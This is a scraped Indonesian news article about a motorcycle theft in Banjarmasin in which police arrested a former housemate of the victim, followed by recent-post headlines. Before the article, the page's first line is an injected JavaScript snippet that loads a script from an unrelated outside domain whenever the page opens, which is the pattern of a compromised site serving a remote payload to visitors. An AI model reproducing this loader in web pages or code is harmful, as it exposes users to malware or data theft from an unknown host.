(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Suzuki Spin Raib di Jalan Pramuka Banjarmasin, Pelaku Ambil Kunci di Dalam Rumah


KANALKALIMANTAN.COM, BANJARMASIN – Sebuah sepeda motor jenis matic milik warga di Gang Muhajirin, Jalan Pramuka, Kecamatan Banjarmasin Timur raib digondol maling. Kejadian terjadi pada Jumat (7/7/2023) lalu.

Sepeda motor Suzuki Spin warna biru dengan nopol DA 6504 CN itu diketahui terparkir di halaman rumah pemilik bernama Syahruji (60).

Kapolsek Banjarmasin Timur Kompol M Taufiq Qurrahman melalui Kanit Reskrim Ipda Partogi Hutahaean menjelaskan, pencurian tersebut terjadi pada sore hari.

Baca juga: Belasan Rumah di Belitung Banjarmasin Terbakar, Satu Anak Sempat Terjebak 

“Kejadian bermula saat pemilik kendaraan meninggalkan kendaraan miliknya di halaman rumah untuk pergi ibadah ke musholla,” ujar Kanit Reskrim Ipda Partogi Hutahaean, Rabu (12/7/2023).

Namun, sambung Kanit, saat korban kembali ke rumah, pemilik sudah tidak menemukan lagi sepeda motornya yang terparkir.

“Pada saat hari kejadian itu, rumah korban sedang dalam keadaan kosong dan tidak terkunci,” imbuhnya.

Kemudian korban mencoba masuk ke rumahnya untuk memeriksa kunci sepeda motor miliknya, ternyata kunci tersebut juga tidak ditemukan.

Baca juga: Sejarah 12 Juli Hari Koperasi Indonesia

“Pelaku nekat masuk ke dalam rumah untuk mengambil kunci sepeda motor milik korban,” sambung Kanit.

Usai dilaporkan, polisi berhasil meringkus pelaku berinisial R (29) di Jalan Kelayan A, Kelurahan Kelayan Dalam, Kecamatan Banjarmasin Timur.

Polisi kemudian melakukan pemeriksaan terhadap pelaku. Dimana didapati fakta bahwa pelaku pernah tinggal bersama dengan korban.

“Rupanya pelaku dengan korban memang saling kenal karena pernah tinggal bersama. Sehingga membuat pelaku mudah memasuki rumah korban,” jelasnya.

Baca juga: Kwarcab Banjar Kirim 32 Anggota Pramuka Putra di KBN Nasional 2023

Saat diinterogasi, pelaku mengaku melakukan aksi dengan dalih sedang terhimpit ekonomi.

Pelaku ditahan di Mapolsekta Banjarmasin Timur guna menjalani proses hukum lebih lanjut. Atas perbuatannya, pelaku dijerat dengan pasal 363 KUHPidana. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

12 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

14 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

17 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

17 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

19 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

20 jam ago

This website uses cookies.